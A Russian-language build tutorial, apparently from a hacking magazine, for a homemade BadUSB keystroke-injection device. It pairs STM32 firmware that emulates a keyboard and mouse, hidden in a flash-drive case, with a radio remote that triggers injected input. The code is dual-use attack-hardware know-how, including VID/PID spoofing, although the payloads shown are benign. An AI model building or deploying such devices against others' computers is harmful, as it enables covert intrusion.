Есть такой вектор атак, как BadUSB, — его суть заключается в эмуляции работы клавиатуры и выполнении операций на компьютере под видом обычного ввода от пользователя. Клавиатура обычно не вызывает подозрений у ОС и антивируса, поэтому такие атаки сложно отследить. Сегодня мы посмотрим, как создать еще одно хакерский гаджет — xакерскую флешку Rubber Ducky своими руками.
Еще по теме: BadUSB своими руками
Как вы понимаете, за годы существования проблемы способов реализации придумано уже достаточно много. Это может быть как классический, хорошо всем известный Rubber Ducky, так и весьма экзотический вариант с перепрошивкой флешки с подходящим контроллером. Также народ придумал некоторое количество реализаций на Arduino и совместимом Digispark.
Кроме того, однозначно стоит упомянуть и о Pill Duck, так как своей концепцией именно этот проект наиболее близок к тому, что я покажу в статье. У Pill Duck есть хорошее и подробное описание, так что всячески рекомендую вам ознакомиться с ним, если вы настроены в деталях разобраться в проблеме.
Сразу скажу, что я не ставил перед собой цель превзойти упомянутые устройства. Скорее это мой личный эксперимент на тему дистанционного пульта управления для компьютера, так что оценивать его стоит в первую очередь именно с такой точки зрения.
USB HID
USB (Universal Serial Bus), как ясно из названия, представляет собой универсальную последовательную шину, которая де-факто является стандартом в настоящее время (вернее, даже целым семейством стандартов). Она практически полностью заменила собой RS-232, LPT, PS/2 и используется преимущественно для связи ПК с периферийными устройствами.
Следует заметить, что рабочие места для наиболее ответственных задач до сих пор оснащаются средствами ввода с интерфейсами PS/2. Это как раз связано с проблемой обеспечения безопасности подобных систем. Так что отправляться на штурм какой-нибудь условной АЭС со своей Rubber Ducky на USB — занятие не только глупое, но и заранее обреченное на провал.
Однако из основных достоинств протокола USB вытекают и его недостатки. В первую очередь это сложная процедура обмена информацией между девайсами, особенно в начальный момент. Причина проблемы заключается в использованной концепции Plug’n’play, которая подразумевает, что периферия при подключении сразу же инициализируется. Ведомое устройство передает хосту информацию о себе, что позволяет системе подгрузить нужный драйвер и приступить к работе.
С точки зрения конечного пользователя, безусловно, это очень удобно, однако как раз из-за универсальности спецификации USB составляют несколько многостраничных томов. К счастью, наша задача — эмуляция клавиатуры и мыши — достаточно простая и распространенная, что несколько облегчает жизнь.
Итак, интересующие нас устройства относятся к классу HID (Human Interface Device), и если мы сообщим хосту, что его новая периферия — это стандартная клавиатура, то установка специальных драйверов не потребуется и будут использованы стандартные. В интернете есть неплохие статьи о кастомном HID-устройстве, но это не совсем наш случай.
Вам нужно запомнить следующее: обмен данными в протоколе USB всегда инициируется хостом и происходит пакетами. Их размер описан в дескрипторах девайса, которые хост обязательно запрашивает во время инициализации.
Прошивка МК
Самый простой на сегодня способ собрать собственное устройство с USB — взять подходящий микроконтроллер и написать для него нужную прошивку. Теоретически нам подойдет едва ли не любой МК, ведь USB тоже можно эмулировать средствами GPIO и нужными библиотеками (эмулировать USB для эмуляции HID и «пользовательского ввода» — в этом определенно есть что-то безумно заманчивое). Однако разумнее, конечно же, выбрать микроконтроллер с необходимой нам периферией.
Наиболее известная в мире плата Arduino с такой функциональностью — Leonardo на ATmega32u4. Этот МК уже содержит в своем составе аппаратный блок USB, а Arduino IDE предлагает на выбор несколько скетчей и библиотек (для мыши и клавиатуры). Также подойдет и более мощная версия на ARM — Arduino Due. Но лично мне ближе микроконтроллеры STM32, тем более что некоторый опыт работы с ними уже имеется. Поэтому в основу проекта лег STM32F103C8T6. Очень удобно, что эта микросхема доступна в составе отладочной платы Blue Pill, которая облегчает прототипирование устройства.
Дескрипторы
Для старта возьмем за основу один из примеров libopencm3, в котором эмулируется движение мыши. Наибольший интерес для нас представляет именно дескриптор, вот как он выглядит:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
const struct usb_device_descriptor dev_descr = { // Дескриптор устройства .bLength = USB_DT_DEVICE_SIZE, .bDescriptorType = USB_DT_DEVICE, .bcdUSB = 0x0200, .bDeviceClass = 0, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = 0x0483, // VID .idProduct = 0x5710, // PID .bcdDevice = 0x0200, .iManufacturer = 1, // Номера строк в usb_strings[], .iProduct = 2, // начиная с первой (!), а не .iSerialNumber = 3, // с нулевой, как можно было бы ожидать .bNumConfigurations = 1, }; static const uint8_t hid_report_descriptor[] = { 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ 0x09, 0x02, /* USAGE (Mouse) */ 0xa1, 0x01, /* COLLECTION (Application) */ 0x09, 0x01, /* USAGE (Pointer) */ 0xa1, 0x00, /* COLLECTION (Physical) */ 0x05, 0x09, /* USAGE_PAGE (Button) */ 0x19, 0x01, /* USAGE_MINIMUM (Button 1) */ 0x29, 0x03, /* USAGE_MAXIMUM (Button 3) */ 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ 0x25, 0x01, /* LOGICAL_MAXIMUM (1) */ 0x95, 0x03, /* REPORT_COUNT (3) */ 0x75, 0x01, /* REPORT_SIZE (1) */ 0x81, 0x02, /* INPUT (Data,Var,Abs) */ 0x95, 0x01, /* REPORT_COUNT (1) */ 0x75, 0x05, /* REPORT_SIZE (5) */ 0x81, 0x01, /* INPUT (Cnst,Ary,Abs) */ 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ 0x09, 0x30, /* USAGE (X) */ 0x09, 0x31, /* USAGE (Y) */ 0x09, 0x38, /* USAGE (Wheel) */ 0x15, 0x81, /* LOGICAL_MINIMUM (-127) */ 0x25, 0x7f, /* LOGICAL_MAXIMUM (127) */ 0x75, 0x08, /* REPORT_SIZE (8) */ 0x95, 0x03, /* REPORT_COUNT (3) */ 0x81, 0x06, /* INPUT (Data,Var,Rel) */ 0xc0, /* END_COLLECTION */ 0x09, 0x3c, /* USAGE (Motion Wakeup) */ 0x05, 0xff, /* USAGE_PAGE (Vendor Defined Page 1) */ 0x09, 0x01, /* USAGE (Vendor Usage 1) */ 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ 0x25, 0x01, /* LOGICAL_MAXIMUM (1) */ 0x75, 0x01, /* REPORT_SIZE (1) */ 0x95, 0x02, /* REPORT_COUNT (2) */ 0xb1, 0x22, /* FEATURE (Data,Var,Abs,NPrf) */ 0x75, 0x06, /* REPORT_SIZE (6) */ 0x95, 0x01, /* REPORT_COUNT (1) */ 0xb1, 0x01, /* FEATURE (Cnst,Ary,Abs) */ 0xc0 /* END_COLLECTION */ }; static const struct { struct usb_hid_descriptor hid_descriptor; struct { uint8_t bReportDescriptorType; uint16_t wDescriptorLength; } __attribute__((packed)) hid_report; } __attribute__((packed)) hid_function = { .hid_descriptor = { .bLength = sizeof(hid_function), .bDescriptorType = USB_DT_HID, .bcdHID = 0x0100, .bCountryCode = 0, .bNumDescriptors = 1, }, .hid_report = { .bReportDescriptorType = USB_DT_REPORT, .wDescriptorLength = sizeof(hid_report_descriptor), } }; |
Добрая половина этих параметров стандартна для многих совместимых устройств, так что можете даже не забивать ими голову. Нас же здесь больше всего интересуют параметры PID (Product ID) и VID (Vendor ID). Изменив их, можно притвориться практически любым устройством любого производителя (правда, есть сомнения в правовом статусе такого притворства, так что думайте дважды).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
const struct usb_endpoint_descriptor hid_endpoint = { // Дескриптор конечной точки .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x81, // Адрес конечной точки IN .bmAttributes = USB_ENDPOINT_ATTR_INTERRUPT, .wMaxPacketSize = 4, // Максимальная длина пакета .bInterval = 0x02, // Интервал опроса в миллисекундах }; const struct usb_interface_descriptor hid_iface = { .bLength = USB_DT_INTERFACE_SIZE, .bDescriptorType = USB_DT_INTERFACE, .bInterfaceNumber = 0, .bAlternateSetting = 0, .bNumEndpoints = 1, .bInterfaceClass = USB_CLASS_HID, .bInterfaceSubClass = 1, /* boot */ .bInterfaceProtocol = 2, /* mouse */ .iInterface = 0, .endpoint = &hid_endpoint, .extra = &hid_function, .extralen = sizeof(hid_function), }; |
В дескрипторе конечной точки нас интересуют:
- ее адрес .bEndpointAddress = 0x81;
- максимальная длина пакета .wMaxPacketSize = 4;
- интервал опроса .bInterval = 0x02.
Адрес конечной точки для нашей цели не имеет принципиального значения, его можно не трогать. Что же касается максимального размера пакета, то он обязательно должен соответствовать структуре отчета, описанной в hid_report_descriptor[]. В данном случае это четыре байта.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
const struct usb_interface ifaces[] = {{ .num_altsetting = 1, .altsetting = &hid_iface, } }; const struct usb_config_descriptor config = { .bLength = USB_DT_CONFIGURATION_SIZE, .bDescriptorType = USB_DT_CONFIGURATION, .wTotalLength = 0, .bNumInterfaces = 1, .bConfigurationValue = 1, .iConfiguration = 0, .bmAttributes = 0xC0, .bMaxPower = 0x32, .interface = ifaces, }; static const char *usb_strings[] = { // Строки, отображаемые в описании устройства "Black Sphere Technologies", "HID Demo", "DEMO", }; |
Завершают определения строки usb_strings[], которые вы тоже можете прописать по своему вкусу (и чувству юмора).
Рассмотрим теперь подробнее дескриптор отчета. Ответ стандартной мыши на запрос от хоста состоит из четырех байт. Первый передает состояние кнопок (младшие три бита — правая, левая и средняя кнопки, старшие пять бит не задействованы). А оставшиеся три байта отвечают за перемещение по осям X, Y и вращение колесика. Эти байты представляют собой целое число со знаком (диапазон от –127 до 127). Его значения при этом соответствуют единичному относительному перемещению указателя.
Хорошо, с мышью немного разобрались, а что насчет клавиатуры? На самом деле почти все аналогично. Однако теперь отчет длиннее и состоит из восьми байт. Биты первого байта отвечают за клавиши-модификаторы: RIGHT_GUI, RIGHT_ALT, RIGHT_SHIFT, RIGHT_CTRL, LEFT_GUI, LEFT_ALT, LEFT_SHIFT, LEFT_CTRL. Следующий байт зарезервирован для совместимости, в принципе его можно выкинуть. Дальше идут шесть байт, каждый из которых отвечает одной нажатой клавише: такой мультитач на шесть касаний, не считая модификаторов. Дескриптор клавиатуры выглядит следующим образом:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
... 0x05, 0x01, 0x09, 0x06, // Usage (Keyboard) 0xA1, 0x01, // Collection (Application) 0x05, 0x07, // Usage Page (Kbrd/Keypad) 0x19, 0xE0, // Usage Minimum (0xE0) 0x29, 0xE7, // Usage Maximum (0xE7) 0x15, 0x00, // Logical Minimum (0) 0x25, 0x01, // Logical Maximum (1) 0x75, 0x01, // Report Size (1) 0x95, 0x08, // Report Count (8) 0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null) 0x81, 0x01, // Input (Const,Array,Abs,No Wrap,Linear,Preferred State,No Null) 0x19, 0x00, // Usage Minimum (0x00) 0x29, 0x65, // Usage Maximum (0x65) 0x15, 0x00, // Logical Minimum (0) 0x25, 0x65, // Logical Maximum (101) 0x75, 0x08, // Report Size (8) 0x95, 0x06, // Report Count (6) 0x81, 0x00, // Input (Data,Array,Abs,No Wrap,Linear,Preferred State,No Null) 0xC0, // End Collection … |
Для упрощения работы с дескрипторами USB есть хороший сайт, который позволяет анализировать и редактировать дескрипторы. Кроме того, существует официально рекомендуемое приложение USB HID Descriptor tool. Оно доступно только в версии для Windows, но и в Wine тоже заведется.
Составное устройство
С устройствами ввода и их дескрипторами мы разобрались. Теперь возникает следующий вопрос: можно ли объединить в одном устройстве и клавиатуру, и мышь? Тут нам на помощь приходит мануал по созданию составных устройств. Достаточно в дескрипторы отчетов для мыши и клавиатуры добавить поле report id, и их можно будет объединить. Теперь ответы нашей периферии станут длиннее на один байт, но хост, читая его значение, будет знать, от какого устройства отчет.
В итоге наш финальный HID-дескриптор выглядит так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
... 0x05, 0x01, 0x09, 0x06, // Usage (Keyboard) 0xA1, 0x01, // Collection (Application) 0x85, 0x01, // Report ID 0x05, 0x07, // Usage Page (Kbrd/Keypad) 0x19, 0xE0, // Usage Minimum (0xE0) 0x29, 0xE7, // Usage Maximum (0xE7) 0x15, 0x00, // Logical Minimum (0) 0x25, 0x01, // Logical Maximum (1) 0x75, 0x01, // Report Size (1) 0x95, 0x08, // Report Count (8) 0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null) 0x81, 0x01, // Input (Const,Array,Abs,No Wrap,Linear,Preferred State,No Null) 0x19, 0x00, // Usage Minimum (0x00) 0x29, 0x65, // Usage Maximum (0x65) 0x15, 0x00, // Logical Minimum (0) 0x25, 0x65, // Logical Maximum (101) 0x75, 0x08, // Report Size (8) 0x95, 0x06, // Report Count (6) 0x81, 0x00, // Input (Data,Array,Abs,No Wrap,Linear,Preferred State,No Null) 0xC0, // End Collection 0x05, 0x01, // Usage Page (Generic Desktop) 0x09, 0x02, // Usage (Mouse) 0xA1, 0x01, // Collection (Application) 0x09, 0x01, // Usage (Pointer) 0xA1, 0x00, // Collection (Physical) 0x85, 0x02, // Report ID 0x05, 0x09, // Usage Page (Buttons) 0x19, 0x01, // Usage Minimum (01) 0x29, 0x03, // Usage Maximum (03) 0x15, 0x00, // Logical Minimum (0) 0x25, 0x01, // Logical Maximum (0) 0x95, 0x03, // Report Count (3) 0x75, 0x01, // Report Size (1) 0x81, 0x02, // Input (Data, Variable, Absolute) 0x95, 0x01, // Report Count (1) 0x75, 0x05, // Report Size (5) 0x81, 0x01, // Input (Constant) ;5 bit padding 0x05, 0x01, // Usage Page (Generic Desktop) 0x09, 0x30, // Usage (X) 0x09, 0x31, // Usage (Y) 0x15, 0x81, // Logical Minimum (-127) 0x25, 0x7F, // Logical Maximum (127) 0x75, 0x08, // Report Size (8) 0x95, 0x02, // Report Count (2) 0x81, 0x06, // Input (Data, Variable, Relative) 0xC0, 0xC0, // End Collection,End Collection … |
Главное — не забыть поправить максимальную длину отчета устройства, она теперь равна девяти. Сами отчеты окажутся следующими:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
Клавиатура 1 REPORT ID = 1 2 MOD_KEYS 3 RESERVED 4 KEY1 5 KEY2 6 KEY3 7 KEY4 8 KEY5 9 KEY6 Мышь 1 REPORT ID = 2 2 KEYS 3 X 4 Y |
Осталось только инициализировать интерфейс. Тут в примере можно ничего не менять, на старте драйвер вызывает функцию hid_set_config, регистрирующую конечную точку 0x81, которую в дальнейшем будет опрашивать наш хост. В ответ он получит указанные выше отчеты. Что же касается функции hid_control_request, то она служит просто заглушкой и в данном случае ни на что не влияет.
Эмуляция клавиатуры
Теперь разберемся с имитацией нажатия клавиши. Для примера возьмем клавишу a с кодом 0x04. Важно обратить внимание, что коды клавиш, выдаваемые клавиатурой, — это вовсе не ASCII, и о раскладке клавиатура тоже ничего не знает, это все происходит уровнем выше. Так как же выглядит нажатие клавиши а? Это два последовательных отчета — первый о нажатии клавиши, а второй о ее отпускании (если забыть про то, что клавишу надо отпустить, выйдет конфуз).
1 2 3 4 5 |
uint8_t pres_a[] = {1, 0, 0, 0x04, 0, 0, 0, 0, 0}; uint8_t rel_a[] = {1, 0, 0, 0, 0, 0, 0, 0, 0}; usbd_ep_write_packet(usbd_dev, 0x81, pres_a, 9); usbd_ep_write_packet(usbd_dev, 0x81, rel_a, 9); |
Единственное, о чем стоит опять же помнить: все транзакции инициируются хостом и в случае чего могут быть отложены. Поэтому всегда полезно убедиться, что отчет ушел. Сделать это можно, анализируя значение, возвращаемое usbd_ep_write_packet. Осталось добавить функцию перевода ASCII в keykode, в этом нет ничего сложного. Более того, есть достаточно примеров готовой реализации. Мне понравилась библиотека keycodes Эдуарда Емельянова. Ее я и использовал с минимальными правками.
Теперь, написав две несложные функции, мы получаем возможность набирать строки и прожимать горячие клавиши.
1 2 3 4 5 6 7 8 9 10 11 |
void send_word(char *wrd) { do { while (9 != usbd_ep_write_packet(usbd_dev, 0x81, press_key(*wrd), 9)); while (9 != usbd_ep_write_packet(usbd_dev, 0x81, release_key(), 9)); } while (*(++wrd)); } void send_shortkey(char key,uint8_t mod) { while(9 != usbd_ep_write_packet(usbd_dev, 0x81, press_key_mod(key, mod), 9)); while(9 != usbd_ep_write_packet(usbd_dev, 0x81, release_key(), 9)); } |
Проверим наш код простым примером:
1 2 3 |
send_shortkey('t', MOD_CTRL | MOD_ALT); // Ctrl + Alt + t — открыть консоль for (uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop"); send_word("echo hello world!\n") |
И вот мы уже можем взаимодействовать с консолью, имитируя пользователя за компьютером. Главное здесь — правильно подобрать задержку, иначе фокус не удастся.
Эмуляция мыши
С мышью будет, с одной стороны, проще — там отчет короче, а с другой стороны, сложнее. Дело в том, что X и Y — это относительные координаты, по сути единичный шаг перемещения (причем максимальная длина в стандартном случае 127 по каждой оси). Если посниффать трафик с обычной мыши, то можно увидеть, что при перемещении она выдает числа в X и Y, пропорциональные скорости движения, а в случае простоя шлет нули. Вот как мы поступим.
Во-первых, напишем функцию для перемещения в точку с относительными координатами, при этом траектория нам не принципиальна, а скорость пусть будет постоянной.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
void mouse_move2(int dx, int dy){ uint8_t temp[] = {2, 0, 0, 0}; int8_t stepx = 0, stepy = 0; if (dx) if (dx > 0) stepx = 1; else stepx =- 1; if (dy) if (dy > 0) stepy = 1; else stepy =- 1; while (dx || dy) { if (dx) { temp[2] = stepx; dx -= stepx; } else temp[2] = 0; if (dy) { temp[3] = stepy; dy -= stepy; } else temp[3] = 0; usbd_ep_write_packet(usbd_dev, 0x81, temp, 4); delay_us(100); } temp[2] = 0; temp[3] = 0; usbd_ep_write_packet(usbd_dev, 0x81, temp, 4); } |
Таким образом, курсор будет двигаться по диагонали, а затем по вертикали или горизонтали, пока не достигнет заданной точки, добавлять сюда алгоритм Брезенхема я посчитал избыточным. Если очень хочется попасть в заданную точку экрана, то это можно сделать с помощью небольшого хака: сначала переходим в условный ноль (левый верхний угол), задавая перемещение заведомо больше разрешения экрана, а уже оттуда двигаемся к нужной точке.
При желании к этой проблеме можно подойти и с другой стороны, реализовав вместе с мышью тачскрин, который выдает абсолютные координаты.
Подведем промежуточный итог: мы научились вводить текст, жать клавиши-модификаторы и двигать курсор, но все-таки чего-то не хватает.
Добавление радиоуправления
Во многих реализациях BadUSB есть один очевидный минус, а именно: они начинают работать автоматически после включения или через заданный промежуток времени. Иногда это удобно, иногда не очень. Куда эффективнее контролировать работу устройства издалека, тогда можно выждать подходящий момент. Такие конструкции тоже известны, и некоторое время назад на сайте даже была статья об утке с WiFi (см. первую ссылку в начале статьи).
Но использовать в своем устройстве ESP12E мне не хотелось по многим причинам. В первую очередь из-за размера, который не укладывался в габариты обычной флешки. А вот NRF24L01 на роль такого радиомодуля подошел прекрасно: достаточная скорость передачи, скромное энергопотребление и, главное, миниатюрный размер.
Изначально я рассчитывал, что за пару часов смогу без приключений портировать нужную библиотеку для работы с NRF24. Однако все оказалось не так просто. Выяснилось, что модуль достаточно капризный, и на одном форуме соответствующая тема занимает более 120 страниц.
Если коротко, корень проблемы кроется в том, что на просторах китайских онлайновых площадок есть примерно с десяток клонов чипа NRF24L01, причем все они немного разные (и это если сразу исключить откровенный брак). У меня, например, завелся только вариант с переменной длиной пакета, и то не с первого раза. В этом деле мне помог расширенный мануал (PDF).
Собственно, бороться с болячками некачественных клонов лучше всего полной инициализацией, когда явно прописываются значения во всех регистрах, что позволяет исключить влияние некорректных установок по умолчанию. Также есть интересная деталь, о которой упоминают далеко не в каждом руководстве, а если и упоминают, то обычно вскользь. Это команда ACTIVATE(0x50) с параметром 0х73 следом, ее описание есть лишь во второй версии даташита NRF24l01(PDF). Без нее запись в регистры FEATURE и DYNPD не происходит и, соответственно, ничего не заводится. Чтобы до этого докопаться, пришлось перелопатить изрядное количество мануалов и послушать шину SPI анализатором (кстати, в программе Sigrock есть удобный декодер протокола NRF24L01).
В итоге инициализация получилась такой.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
void nrf_toggle_features(void) { NRF_CSN_LO(); /* Без этой команды не устанавливается произвольная * длина пакета, инструкция не всегда срабатывает с первого раза */ NRF_SPI_TRANSFER(ACTIVATE); // Активирует регистр FEATURE NRF_SPI_TRANSFER(0x73); NRF_WSPI(); NRF_CSN_HI(); } void nrf_init(void) { uint8_t self_addr[] = {0xE7, 0xE7, 0xE7, 0xE7, 0xE7}; // Собственный адрес uint8_t remote_addr[] = {0xC2, 0xC2, 0xC2, 0xC2, 0xC2}; // Адрес удаленной стороны NRF_CE_HI(); delay_us(500); // FEATURE следует активировать с самого начала nrf_wreg(FEATURE, 0x04); while(nrf_rreg(FEATURE)!=0x4) { nrf_toggle_features(); // delay_us(500); nrf_wreg(FEATURE, 0x04); // Произвольная длина данных // delay_us(500); } nrf_wreg(CONFIG, 0x0f); // delay_us(500); nrf_wreg(EN_AA, 0x02); // Enable Pipe1 nrf_wreg(EN_RXADDR, 0x03); // Enable Pipe1 nrf_wreg(SETUP_AW, 0x03); // Setup address width = 5 bytes nrf_wreg(SETUP_RETR, 0x5f); // 250us, 2 retrans nrf_wreg(RF_CH, 0); // Частота 2400 MHz nrf_write(RX_ADDR_P0,remote_addr,5); nrf_write(TX_ADDR,remote_addr,5); nrf_write(RX_ADDR_P0,remote_addr,5); nrf_write(RX_ADDR_P1,self_addr,5); nrf_wreg(RF_SETUP, 0x06); // TX_PWR:0dBm, Datarate:1Mbps nrf_wreg(RX_PW_P0, 32); nrf_wreg(RX_PW_P1, 32); // 32 nrf_wreg(DYNPD, 0x03); // (1 << DPL_P0) | (1 << DPL_P1)); NRF_CE_HI(); } |
После успешной инициализации все работает как часы: и отправка, и прием данных тривиальны. Мы опускаем линию CE интерфейса SPI, переводим модуль в режим передачи, обнуляя младший бит в CONFIG, и записываем передаваемую строку вслед за командой WR_TX_PLOAD. После чего остается несколько раз поднять линию CE на 25 мкс, до тех пор пока буфер для передачи не опустеет.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
uint8_t nrf_send(uint8_t *data,uint8_t len) { uint8_t fifo; NRF_CE_LO(); nrf_flushtx(); nrf_wreg(CONFIG,0x0e); // Режим передачи delay_us(25); nrf_write_bufer(WR_TX_PLOAD,data,len); NRF_CE_HI(); delay_us(50); NRF_CE_LO(); while(!(nrf_rreg(FIFO_STATUS) & TX_EMPTY)) { NRF_CE_HI(); delay_us(25); NRF_CE_LO(); } } |
Прием происходит следующим образом: мы переводим модуль в режим передачи, поднимаем линию CE и ждем низкий уровень на выводе IRQ ( EXTI0). После чего проверяем, есть ли принятый пакет, в статусном регистре, выясняем длину пакета и считываем данные с помощью команды RD_PX_PLOAD. В конце остается только не забыть сбросить прерывание.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
#define nrf_rrx_payload_width() nrf_rreg(R_RX_PL_WID) uint8_t nrf_status() { uint8_t data = 0; NRF_CSN_LO(); data = NRF_SPI_TRANSFER(NOP); NRF_WSPI(); NRF_CSN_HI(); return data; } void exti0_isr(void) { exti_reset_request(EXTI0); gpio_toggle(GPIOA, GPIO12); uint8_t status, temp, len; // uint8_t data[32] = {0}; status = nrf_status(); ... if (status & RX_DR) { len = nrf_rrx_payload_width(); nrf_read(RD_RX_PLOAD, data, len); // printf("DATA RECIV %d: %s\r\n",len,data); // run_cmd(data); cmd_rcv = 1; // Обработчик не стоит запускать в прерывании } nrf_wreg(STATUS, status); // Сбрасываем флаг приема (RD_RX) ... } |
Разумеется, прием можно выполнить и без прерывания. Надо просто в цикле ждать установку бита RD_RX в статусном регистре. Но с прерыванием, на мой взгляд, удобнее и быстрее. Что же касается адресов устройств, то менять местами адреса RX и TX необязательно, так как передатчик слушает адрес, заданный в TX в канале P0. Это необходимо для приема сигнала ASK. Как бонус получается, что устройства с одинаковыми адресными настройками могут общаться между собой в обе стороны.
Протокол обмена
NRF24L01 не предоставляют никакого высокоуровневого протокола для общения между устройствами. Мы поступим предельно просто: команды будем отсылать строкой текста, в котором приемник попытается найти инструкции с помощью функции strstr(). Если подходящие лексемы не обнаружились, то сразу же передаем принятую строку на эмулятор клавиатуры. Последнее — задел на повышение функциональности в будущем, так как пульт способен принимать команды по UART, что расширяет возможности применения девайса.
Ниже представлены соответствующие функции приема и отправки команд.
1 2 3 4 5 6 7 8 9 10 |
void run_cmd() { if (strstr(data, "WSR")) run_script_gzip(info_payload); else if (strstr(data, "TEST")) send_word("Hello world!\n"); else if(strstr(data, "PK2 ")) pk2_decode_pres_key(data); else if (strstr(data, "MSHIFT")) mouse_move_rand(); .... else if (strstr(data, "BASE641")) cat_ascii_art_gzip(girl_1_base64); else if (strstr(data, "BASE642")) cat_ascii_art_gzip(girl_base64); else send_word(data); } |
Шестнадцатеричные коды здесь — это коды клавиш, считанные по прерыванию с контроллера клавиатуры пульта. В качестве контроллера использована микросхема PCF8574 (расширитель портов ввода-вывода по I2C).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
void key_proc(uint8_t *key) { /* keyboard layout * 0xFE 0x7F 0xFE 0xF7 0xEF * 0xFD 0xBF 0xFB 0xBF * 0xFB 0xDF 0xFD 0x7F 0xDF * 0xF7 0xEF */ if (*key == 0xFF) return; // if (key == 0xFF) sleep(); printf("proc %d\r\n",*key); switch(*key) { case 0xFE: nrf_send("BIRD", 4); break; case 0xF7: nrf_send("PK2 82 0", 8); // key_up break; case 0x7F: nrf_send("PK2 81 0", 8); // key_down break; case 0xFD: nrf_send("WSR", 3); break; case 0xBF: nrf_send("PK2 44 0", 8); // spase break; case 0xFB: nrf_send("PK2 42 0", 8); // backspase break; case 0xDF: nrf_send("MSHIFT", 6); break; case 0xEF: nrf_send("GIRL", 4); break; } *key = 0xFF; } |
Реализация в железе
Вот так выглядит схема устройства. Слева изображен пульт, справа эмулятор.
Сначала все было выполнено на макетках. Во время предварительной сборки надо обратить внимание на несколько моментов. Прежде всего, на модуль NRF24 обязательно следует напаять конденсатор по питанию. Учитывая, что он у нас, скорее всего, висит на проводах, 100 мкФ будет вполне достаточно. Во-первых, это позволит исключить проблему питания, если что-то пойдет не так. Во-вторых, подавая питание сразу с двух источников (с двух сторон встроенного стабилизатора), можно убить схему питания в Blue Pill. Вроде мелочь, а неприятно. Поэтому, когда используется питание от USB, всегда отключайте дополнительный источник.
Вставлять самодельное устройство в USB-порт компьютера может быть чревато крупным разочарованием и выходом контроллера USB из строя. Поэтому, если попробовать очень хочется, а уверенности в прямоте своих рук нет, можно воспользоваться внешним USB-хабом (впрочем, и это не дает стопроцентных гарантий).
В этот раз в качестве контроллера клавиатуры пульта я не стал использовать сдвиговый регистр, как в телефоне или MP3-плеере. Расширитель портов ввода-вывода PCF8574 для такой задачи подходит гораздо лучше, чем сдвиговый регистр. Главное преимущество — наличие сигнала прерывания, что сильно упрощает работу с клавиатурой со стороны микроконтроллера. Кроме того, I2C — это две линии, а интерфейс регистра составляет минимум три. Да и стоит микросхема не сильно дороже — всего 15 рублей в рознице.
А вот и готовый макет. Не могу сказать, что все заработало сразу: пришлось поковыряться, побить в бубен и покурить мануалы. Но в итоге все проблемы удалось решить.
Как вы понимаете, в таком виде это все жутко непрактично, поэтому устройство надо оформить достойнее. Тут мне на глаза попалась флешка, и родилась вполне ожидаемая идея упаковать все в готовый и хорошо узнаваемый корпус. Размер платы флешки 14 на 34 мм, особо не разгуляешься, но с применением двухстороннего монтажа втиснуться оказалось легко.
Тут я впервые изготавливал двухстороннюю плату, и в целом это оказалось не так сложно, как я представлял. (Так, наверное, можно докатиться и до металлизации отверстий.) И честно говоря, получилось даже лучше, чем я ожидал. Для сравнения снимок рядом с оригинальной флешкой.
Теперь можно поместить в корпус — плата встала как родная.
Правда, пришлось сверху напаять провод для подключения светодиода, я совсем забыл про него, когда разводил плату. Ну да плат без ошибок не бывает. Осталось прикрепить крышку на место.
Что касается пульта, то при переходе от макета к финальной версии я решил оптимизировать питание. Дело в том, что для устойчивой работы передающей части необходимо 3,3 В. Конечно, напряжение можно опустить до 3 В, и тогда схему допустимо запитать и от двух батареек АА. Но так не удастся выжать из батареек весь заряд, ведь их конечное напряжение составляет что-то около 1 В (или примерно 2 В для двух последовательно подключенных источников). А это явно недостаточно.
Если взять аккумуляторы Ni-MH, то это будет уже 2,4 В в заряженном состоянии, что тоже маловато. Решением проблемы оказалось применение step-up-преобразователя на ME2108A(PDF). Обвеса требуется минимум, а эффективность микросхемы достигает 85%. Это позволяет питать схему от двух и даже одного аккумулятора.
Я собрал пульт, поправил несколько ошибок (забыл подтягивающие резисторы для PCF8574), и все заработало. Потом померил ток потребления от одного аккумулятора — целых 250 мА! Подобное ни в какие ворота не лезет, так что исправим это и озаботимся вопросом энергосбережения в нашем устройстве.
Энергосбережение
Держать микроконтроллер включенным все время нет никакой необходимости, он нужен лишь в момент нажатия кнопки. Помните, выше я писал про сигнал прерывания от контроллера клавиатуры? Тут он очень кстати. Поэтому будем ждать нажатия кнопки, будить нашу схему, посылать данные в эфир и снова засыпать. Кроме того, перевод NRF24L01 в режим stand by вместо постоянного приема позволит дополнительно сократить потребление. Финальный штрих — погасить светодиод, он тоже потребляет несколько миллиампер.
